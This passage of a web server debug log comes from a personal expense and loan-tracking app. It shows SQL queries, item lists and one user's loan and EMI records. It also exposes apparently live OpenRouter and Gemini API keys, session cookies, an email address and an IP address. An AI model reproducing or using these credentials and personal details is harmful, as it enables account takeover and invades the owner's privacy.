    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AcJqudxG%2BQeQTzAsO4PF3ag%3D%3D.adLyxuvHL%2FcbNFqHTy1LZHx5sWzMWIXY1sXomLzNl6wgQ0v5EaRrBBf3rpTdmAxQ10Pwac60Pk1xoKg8Jr%2F9f6sxhV1Dtwnjx5lWbaZdqd1o%2FGxSsCRqnJFcQEXlFtDFk66pfTsSbkT59tuB8TA%2BRzNnP8syQR6JKOOXUF9qoXo%3D.jsBmLc98vNBu%2F1QNkgSbqxRfWc%2B%2BhB4Azt%2F9LlxvpgU; your_r_git.sid=s%3A-pTay87jueFqlIINlaJFO_syN4h5wwxp.VP5g7HCkiPxK%2FviYFmoNYhFxfTlFRKlcV3d4ryz%2Bt6o',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-02T10:47:49.150Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-02T10:47:49.151Z server-connect:app Executing action step identify
2026-03-02T10:47:49.151Z server-connect:app options: { provider: 'security' }
2026-03-02T10:47:49.151Z server-connect:output identity: 1
2026-03-02T10:47:49.151Z server-connect:app Executing action step restrict
2026-03-02T10:47:49.151Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-02T10:47:49.152Z server-connect:output restrict: undefined
2026-03-02T10:47:49.152Z server-connect:app Executing action step select
2026-03-02T10:47:49.152Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-02T10:47:49.155Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-02T10:47:49.158Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-02T10:47:49.160Z server-connect:app Executing action step identify
2026-03-02T10:47:49.160Z server-connect:app options: { provider: 'security' }
2026-03-02T10:47:49.160Z server-connect:output identity: 1
2026-03-02T10:47:49.160Z server-connect:app Executing action step restrict
2026-03-02T10:47:49.161Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-02T10:47:49.164Z server-connect:output restrict: undefined
2026-03-02T10:47:49.164Z server-connect:app Executing action step single
2026-03-02T10:47:49.164Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-02T10:47:49.166Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-02T10:47:52.769Z server-connect:router Serving templateView /emis
2026-03-02T10:47:52.769Z server-connect:app Executing action step identify
2026-03-02T10:47:52.770Z server-connect:app options: { provider: 'security' }
2026-03-02T10:47:52.770Z server-connect:output identity: 1
2026-03-02T10:47:52.770Z server-connect:app Executing action step restrict
2026-03-02T10:47:52.770Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-02T10:47:52.770Z server-connect:output restrict: undefined
2026-03-02T10:47:52.770Z server-connect:router Render template emis
2026-03-02T10:47:52.770Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/emis',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"4a4f-sAb1eIxDBpmUF1uZ9b/dm8eksfY"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AcJqudxG%2BQeQTzAsO4PF3ag%3D%3D.adLyxuvHL%2FcbNFqHTy1LZHx5sWzMWIXY1sXomLzNl6wgQ0v5EaRrBBf3rpTdmAxQ10Pwac60Pk1xoKg8Jr%2F9f6sxhV1Dtwnjx5lWbaZdqd1o%2FGxSsCRqnJFcQEXlFtDFk66pfTsSbkT59tuB8TA%2BRzNnP8syQR6JKOOXUF9qoXo%3D.jsBmLc98vNBu%2F1QNkgSbqxRfWc%2B%2BhB4Azt%2F9LlxvpgU; your_r_git.sid=s%3A-pTay87jueFqlIINlaJFO_syN4h5wwxp.VP5g7HCkiPxK%2FviYFmoNYhFxfTlFRKlcV3d4ryz%2Bt6o',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-03T10:47:48.041Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/emis',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"4a4f-sAb1eIxDBpmUF1uZ9b/dm8eksfY"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AcJqudxG%2BQeQTzAsO4PF3ag%3D%3D.adLyxuvHL%2FcbNFqHTy1LZHx5sWzMWIXY1sXomLzNl6wgQ0v5EaRrBBf3rpTdmAxQ10Pwac60Pk1xoKg8Jr%2F9f6sxhV1Dtwnjx5lWbaZdqd1o%2FGxSsCRqnJFcQEXlFtDFk66pfTsSbkT59tuB8TA%2BRzNnP8syQR6JKOOXUF9qoXo%3D.jsBmLc98vNBu%2F1QNkgSbqxRfWc%2B%2BhB4Azt%2F9LlxvpgU; your_r_git.sid=s%3A-pTay87jueFqlIINlaJFO_syN4h5wwxp.VP5g7HCkiPxK%2FviYFmoNYhFxfTlFRKlcV3d4ryz%2Bt6o',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-02T10:47:53.093Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-03-02T10:47:53.093Z server-connect:app Executing action step identify
2026-03-02T10:47:53.093Z server-connect:app options: { provider: 'security' }
2026-03-02T10:47:53.093Z server-connect:output identity: 1
2026-03-02T10:47:53.093Z server-connect:app Executing action step restrict
2026-03-02T10:47:53.093Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-02T10:47:53.094Z server-connect:output restrict: undefined
2026-03-02T10:47:53.095Z server-connect:app Executing action step custom
2026-03-02T10:47:53.095Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-03-02T10:47:53.100Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '15',
    total_remaining_amount: 225210,
    total_paid_amount: 675630,
    percentage_paid: '75.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '12',
    total_remaining_amount: 264372,
    total_paid_amount: 793116,
    percentage_paid: '75.00'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '6',
    total_remaining_amount: 32016,
    total_paid_amount: 160080,
    percentage_paid: '83.33'
  }
]
2026-03-02T10:48:00.803Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-02T10:48:00.805Z server-connect:app Executing action step identify
2026-03-02T10:48:00.805Z server-connect:app options: { provider: 'security' }
2026-03-02T10:48:00.806Z server-connect:output identity: 1
2026-03-02T10:48:00.806Z server-connect:app Executing action step restrict
2026-03-02T10:48:00.806Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-02T10:48:00.806Z server-connect:output restrict: undefined
2026-03-02T10:48:00.806Z server-connect:app Executing action step select
2026-03-02T10:48:00.806Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-02T10:48:00.808Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
